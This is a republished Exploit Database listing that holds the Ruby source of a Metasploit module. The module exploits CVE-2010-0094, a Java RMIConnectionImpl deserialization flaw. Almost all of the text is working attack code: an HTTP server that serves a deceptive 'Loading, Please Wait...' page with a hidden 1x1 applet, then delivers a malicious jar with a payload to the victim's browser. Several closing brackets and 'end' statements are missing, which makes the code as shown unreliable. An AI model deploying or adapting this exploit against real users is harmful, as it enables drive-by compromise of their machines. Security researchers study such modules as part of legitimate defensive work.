Java – RMIConnectionImpl Deserialization Privilege Escalation (Metasploit)

Exploit Database
109 阅读

作者： Metasploit

日期： 2010-09-27
类别：
- remote
平台：
- multiple
来源：https://www.exploit-db.com/exploits/16305/

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# $Id: java_rmi_connection_impl.rb 10490 2010-09-27 00:09:17Z egypt $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

require 'rex'

class Metasploit3 < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpServer::HTML

# Superceded by java_trusted_chain

#include Msf::Exploit::Remote::BrowserAutopwn

#autopwn_info({ :javascript => false })

def initialize( info = {} )

super( update_info( info,

'Name'=> 'Java RMIConnectionImpl Deserialization Privilege Escalation Exploit',

'Description' => %q{

This module exploits a vulnerability in the Java Runtime Environment

that allows to deserialize a MarshalledObject containing a custom

classloader under a privileged context. The vulnerability affects

version 6 prior to update 19 and version 5 prior to update 23.

'License' => MSF_LICENSE,

'Author'=> [

'Sami Koivu', # Discovery

'Matthias Kaiser', # PoC

'egypt' # metasploit module

'Version' => '$Revision: 10490 $',

'References'=>

[

[ 'CVE', '2010-0094' ],

[ 'OSVDB', '63484' ],

[ 'URL', 'http://slightlyrandombrokenthoughts.blogspot.com/2010/04/java-rmiconnectionimpl-deserialization.html' ],

'Platform'=> [ 'java' ],

'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },

'Targets' =>

[

[ 'Generic (Java Payload)',

{

'Arch' => ARCH_JAVA,

}

'DefaultTarget'=> 0,

'DisclosureDate' => 'Mar 31 2010'

))

end

def on_request_uri( cli, request )

if not request.uri.match(/\.jar$/i)

if not request.uri.match(/\/$/)

send_redirect(cli, get_resource() + '/', '')

return

end

print_status("Handling request from #{cli.peerhost}:#{cli.peerport}...")

send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })

return

end

paths = [

[ "Exploit.class" ],

[ "Exploit$1.class" ],

[ "Exploit$1$1.class" ],

[ "Exploit$2.class" ],

[ "Payloader.class" ],

[ "PayloadClassLoader.class" ],

[ "payload.ser" ],

]

p = regenerate_payload(cli)

jar = p.encoded_jar

paths.each do |path|

1.upto(path.length - 1) do |idx|

full = path[0,idx].join("/") + "/"

if !(jar.entries.map{|e|e.name}.include?(full))

jar.add_file(full, '')

end

fd = File.open(File.join( Msf::Config.install_root, "data", "exploits", "cve-2010-0094", path ), "rb")

data = fd.read(fd.stat.size)

jar.add_file(path.join("/"), data)

fd.close

end

print_status("#{self.name} Sending Applet.jar to #{cli.peerhost}:#{cli.peerport}...")

send_response(cli, jar.pack, { 'Content-Type' => "application/octet-stream" })

handler(cli)

end

def generate_html

html= "<html><head><title>Loading, Please Wait...</title></head>"

html += "<body><center><p>Loading, Please Wait...</p></center>"

html += "<applet archive=\"Exploit.jar\" code=\"Exploit.class\" width=\"1\" height=\"1\">"

html += "</applet></body></html>"

return html

end